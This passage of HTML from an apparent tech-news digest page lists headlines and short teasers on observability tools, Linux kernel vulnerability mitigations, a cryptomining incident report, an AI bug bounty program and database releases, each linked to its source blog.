              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Explore how unified infrastructure monitoring consolidates telemetry for faster, clearer insights—reducing incident response time and improving system reliability.</p>
<p><strong>📅 May 7, 2026</strong> • <strong>📰 New Relic Blog</strong></p>
<p><a href="https://newrelic.com/blog/infrastructure-monitoring/end-to-end-unified-infrastructure-monitoring-2026"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-5-best-distributed-tracing-tools-to-debug-microservices-faster" class="group relative scroll-mt-24">
        <a href="#h3-5-best-distributed-tracing-tools-to-debug-microservices-faster" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 5 Best Distributed Tracing Tools to Debug Microservices Faster
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-5-best-distributed-tracing-tools-to-debug-microservices-faster"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Discover how distributed tracing tools improve microservices observability, helping you debug, optimize, and maintain complex systems efficiently.</p>
<p><strong>📅 May 7, 2026</strong> • <strong>📰 New Relic Blog</strong></p>
<p><a href="https://newrelic.com/blog/apm/distributed-tracing-tools"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-5-top-observability-tools-for-unified-visibility-faster-resolution" class="group relative scroll-mt-24">
        <a href="#h3-5-top-observability-tools-for-unified-visibility-faster-resolution" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 5 Top Observability Tools For Unified Visibility & Faster Resolution
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-5-top-observability-tools-for-unified-visibility-faster-resolution"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Learn how to choose and implement observability tools that reduce MTTR and improve engineering flow with a unified, data-driven approach.</p>
<p><strong>📅 May 7, 2026</strong> • <strong>📰 New Relic Blog</strong></p>
<p><a href="https://newrelic.com/blog/observability/observability-tools"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-5-top-database-monitoring-tools-for-reducing-mttr-preventing-outages" class="group relative scroll-mt-24">
        <a href="#h3-5-top-database-monitoring-tools-for-reducing-mttr-preventing-outages" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 5 Top Database Monitoring Tools for Reducing MTTR & Preventing Outages
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-5-top-database-monitoring-tools-for-reducing-mttr-preventing-outages"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Discover how the right database monitoring tools deliver intelligent insights, reduce noise, and help you prevent outages before they impact your business.</p>
<p><strong>📅 May 7, 2026</strong> • <strong>📰 New Relic Blog</strong></p>
<p><a href="https://newrelic.com/blog/infrastructure-monitoring/database-monitoring-tools"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-fixing-javascript-observability-one-library-at-a-time" class="group relative scroll-mt-24">
        <a href="#h3-fixing-javascript-observability-one-library-at-a-time" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Fixing JavaScript observability, one library at a time
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-fixing-javascript-observability-one-library-at-a-time"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Sentry is adding TracingChannel support to 44 JavaScript libraries upstream, replacing fragile monkey-patching with native observability that works across all runtimes.</p>
<p><strong>📅 May 7, 2026</strong> • <strong>📰 Sentry Blog</strong></p>
<p><a href="https://blog.sentry.io/fixing-javascript-observability/"><strong>🔗 Read more</strong></a></p>
<hr>
<h2 id="h2-security" class="group relative scroll-mt-24">
        <a href="#h2-security" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          🔐 Security
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-security"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><h3 id="h3-threats-making-wavs-incident-response-to-a-cryptomining-attack" class="group relative scroll-mt-24">
        <a href="#h3-threats-making-wavs-incident-response-to-a-cryptomining-attack" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Threats Making WAVs - Incident Response to a Cryptomining Attack
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-threats-making-wavs-incident-response-to-a-cryptomining-attack"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Guardicore security researchers describe and uncover a full analysis of a cryptomining attack, which hid a cryptominer inside WAV files. The report includes the full attack vectors, from detection, in</p>
<p><strong>📅 May 11, 2026</strong> • <strong>📰 Linode Blog</strong></p>
<p><a href="https://www.akamai.com/blog/security/threats-making-wavs-incident-reponse-cryptomining-attack"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-anthropic-puts-the-myth-in-mythos-with-its-hackerone-bug-bounty-program" class="group relative scroll-mt-24">
        <a href="#h3-anthropic-puts-the-myth-in-mythos-with-its-hackerone-bug-bounty-program" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Anthropic puts the “myth” in Mythos with its HackerOne bug bounty program
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-anthropic-puts-the-myth-in-mythos-with-its-hackerone-bug-bounty-program"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Bug bounty programs have been a cornerstone of cybersecurity for years, serving as conduits for hackers and security researchers to The post Anthropic puts the “myth” in Mythos with its HackerOne bug </p>
<p><strong>📅 May 10, 2026</strong> • <strong>📰 The New Stack</strong></p>
<p><a href="https://thenewstack.io/anthropic-public-bug-bounty/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-amazon-route-53-global-resolver-now-lets-you-add-and-remove-aws-regions-for-anycast-dns-resolution" class="group relative scroll-mt-24">
        <a href="#h3-amazon-route-53-global-resolver-now-lets-you-add-and-remove-aws-regions-for-anycast-dns-resolution" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Amazon Route 53 Global Resolver now lets you add and remove AWS Regions for anycast DNS resolution
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-amazon-route-53-global-resolver-now-lets-you-add-and-remove-aws-regions-for-anycast-dns-resolution"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Amazon Route 53 Global Resolver now lets you add and remove AWS Regions for anycast DNS resolution, giving you flexible control over where your DNS queries are resolved. This allows you to easily expa</p>
<p><strong>📅 May 8, 2026</strong> • <strong>📰 CloudFormation Updates</strong></p>
<p><a href="https://aws.amazon.com/about-aws/whats-new/2026/05/amazon-route-global-resolver-aws/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-dirty-frag-linux-kernel-local-privilege-escalation-vulnerability-mitigations" class="group relative scroll-mt-24">
        <a href="#h3-dirty-frag-linux-kernel-local-privilege-escalation-vulnerability-mitigations" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Dirty Frag Linux kernel local privilege escalation vulnerability mitigations
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-dirty-frag-linux-kernel-local-privilege-escalation-vulnerability-mitigations"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Two local privilege escalation (LPE) vulnerabilities affecting the Linux kernel have been publicly disclosed on May 7, 2026. The vulnerabilities have been assigned the IDs CVE-2026-43284 and CVE-2026-</p>
<p><strong>📅 May 8, 2026</strong> • <strong>📰 Ubuntu Blog</strong></p>
<p><a href="https://ubuntu.com//blog/dirty-frag-linux-vulnerability-fixes-available"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-addressing-copyfail2-aka-dirtyfrag-in-suse-virtualization" class="group relative scroll-mt-24">
        <a href="#h3-addressing-copyfail2-aka-dirtyfrag-in-suse-virtualization" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Addressing Copy.Fail2 aka DirtyFrag in SUSE Virtualization
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-addressing-copyfail2-aka-dirtyfrag-in-suse-virtualization"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Security researchers have identified another security issue similar to copy.fail (CVE-2026-43284 / CVE-2026-43500), however in a different subsystem. Upstream report: <a href="https://github.com/V4bel/dirtyfra">https://github.com/V4bel/dirtyfra</a></p>
<p><strong>📅 May 8, 2026</strong> • <strong>📰 SUSE Blog</strong></p>
<p><a href="https://www.suse.com/c/addressing-copy-fail2-aka-dirtyfrag-in-suse-virtualization/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-how-cloudflare-responded-to-the-copy-fail-linux-vulnerability" class="group relative scroll-mt-24">
        <a href="#h3-how-cloudflare-responded-to-the-copy-fail-linux-vulnerability" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 How Cloudflare responded to the “Copy Fail” Linux vulnerability
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-how-cloudflare-responded-to-the-copy-fail-linux-vulnerability"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>When a critical Linux kernel privilege escalation was publicly disclosed, Cloudflare&#39;s security and engineering teams detected, investigated, and mitigated the threat across our global fleet, confirmi</p>
<p><strong>📅 May 7, 2026</strong> • <strong>📰 Cloudflare Blog</strong></p>
<p><a href="https://blog.cloudflare.com/copy-fail-linux-vulnerability-mitigation/"><strong>🔗 Read more</strong></a></p>
<hr>
<h2 id="h2-databases" class="group relative scroll-mt-24">
        <a href="#h2-databases" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          💾 Databases
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-databases"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><h3 id="h3-whats-new-in-two-april-2026-edition" class="group relative scroll-mt-24">
        <a href="#h3-whats-new-in-two-april-2026-edition" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 What’s new in two: April 2026 edition
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-whats-new-in-two-april-2026-edition"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Welcome to “What’s new in two,” your quick hit of Redis releases you might have missed in the past month. If you blinked, you missed it—so here’s the recap. We’re covering the latest developments from</p>
<p><strong>📅 May 8, 2026</strong> • <strong>📰 Redis Blog</strong></p>
<p><a href="https://redis.io/blog/whats-new-in-two-april-2026-edition/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-new-bigtable-in-memory-tier-for-sub-millisecond-read-latency" class="group relative scroll-mt-24">
        <a href="#h3-new-bigtable-in-memory-tier-for-sub-millisecond-read-latency" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 New Bigtable in-memory tier for sub-millisecond read latency
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-new-bigtable-in-memory-tier-for-sub-millisecond-read-latency"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>In the high-stakes world of digital infrastructure, speed isn&#39;t just a metric — it’s currency. At Google Cloud Next ‘26 we announced the Bigtable in-memory tier, a breakthrough for our fully managed c</p>
<p><strong>📅 May 7, 2026</strong> • <strong>📰 Google Cloud Blog</strong></p>
<p><a href="https://cloud.google.com/blog/products/databases/scaling-real-time-performance-with-bigtable-in-memory-tier/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-discover-meko-the-data-infrastructure-for-agents-that-work-and-learn-together" class="group relative scroll-mt-24">
        <a href="#h3-discover-meko-the-data-infrastructure-for-agents-that-work-and-learn-together" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Discover Meko: The Data Infrastructure for Agents That Work and Learn Together
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-discover-meko-the-data-infrastructure-for-agents-that-work-and-learn-together"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Meko is the agent-native data infrastructure that enables multi-agent systems to learn together, building collective memory and shared knowledge that compounds across the entire system. Meko solves th</p>
<p><strong>📅 May 7, 2026</strong> • <strong>📰 Yugabyte Blog</strong></p>
<p><a href="https://www.yugabyte.com/blog/meko-data-infrastructure-for-agents-that-work-and-learn-together/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-advisory-locking-avoiding-serializable-isolation-and-achieving-efficient-retention-archiving" class="group relative scroll-mt-24">
        <a href="#h3-advisory-locking-avoiding-serializable-isolation-and-achieving-efficient-retention-archiving" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Advisory Locking: Avoiding Serializable Isolation and Achieving Efficient Retention Archiving
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-advisory-locking-avoiding-serializable-isolation-and-achieving-efficient-retention-archiving"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Discover a use case for PG advisory lock that protects against write skew and provides a solution for efficient deletes that meet retention requirements. This data modeling keeps the write path predic</p>
<p><strong>📅 May 6, 2026</strong> • <strong>📰 Yugabyte Blog</strong></p>
<p><a href="https://www.yugabyte.com/blog/advisory-locking-serializable-isolation-and-retention-archiving/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-ai-agent-vs-chatbot-key-differences-explained" class="group relative scroll-mt-24">
        <a href="#h3-ai-agent-vs-chatbot-key-differences-explained" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 AI agent vs chatbot: Key differences explained
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-ai-agent-vs-chatbot-key-differences-explained"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Agentic AI adoption trends are everywhere right now. Or at least, everyone says they are. But when you peel back the marketing, the line between a chatbot and an AI agent isn&#39;t always obvious. Picking</p>
<p><strong>📅 May 6, 2026</strong> • <strong>📰 Redis Blog</strong></p>
<p><a href="https://redis.io/blog/ai-agent-vs-chatbot/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-use-redis-with-sql" class="group relative scroll-mt-24">
        <a href="#h3-use-redis-with-sql" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Use Redis with SQL
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-use-redis-with-sql"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Yes, you heard that right. Query Redis with SQL. No LLMs needed. Most data science teams already speak SQL fluently, and for many (including LLMs and agents), it’s still the most intuitive way to expr</p>
<p><strong>📅 May 6, 2026</strong> • <strong>📰 Redis Blog</strong></p>
<p><a href="https://redis.io/blog/use-redis-with-sql/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-native-vector-search-for-the-dynamodb-api" class="group relative scroll-mt-24">
        <a href="#h3-native-vector-search-for-the-dynamodb-api" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Native Vector Search for the DynamoDB API
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-native-vector-search-for-the-dynamodb-api"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Developers building on the DynamoDB API can run vector similarity search without the complexity of bolted-on “Zero ETL”</p>
<p><strong>📅 May 5, 2026</strong> • <strong>📰 ScyllaDB Blog</strong></p>
<p><a href="https://www.scylladb.com/2026/05/05/native-vector-search-dynamodb/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-pg_sorted_heap-0130-released" class="group relative scroll-mt-24">
        <a href="#h3-pg_sorted_heap-0130-released" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 pg_sorted_heap 0.13.0 released
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-pg_sorted_heap-0130-released"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>I am pleased to announce pg_sorted_heap 0.13.0, a PostgreSQL extension for physically sorted heap storage, zone-map pruning, planner-integrated vector search, and a narrow fact-shaped GraphRAG query s</p>
<p><strong>📅 May 5, 2026</strong> • <strong>📰 PostgreSQL News</strong></p>
<p><a href="https://www.postgresql.org/about/news/pg_sorted_heap-0130-released-3289/"><strong>🔗 Read more</strong></a></p>
<hr>
<h2 id="h2-platforms" class="group relative scroll-mt-24">
        <a href="#h2-platforms" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          🌐 Platforms
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-platforms"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><h3 id="h3-keep-your-tech-flame-alive-trailblazer-rachel-bayley" class="group relative scroll-mt-24">
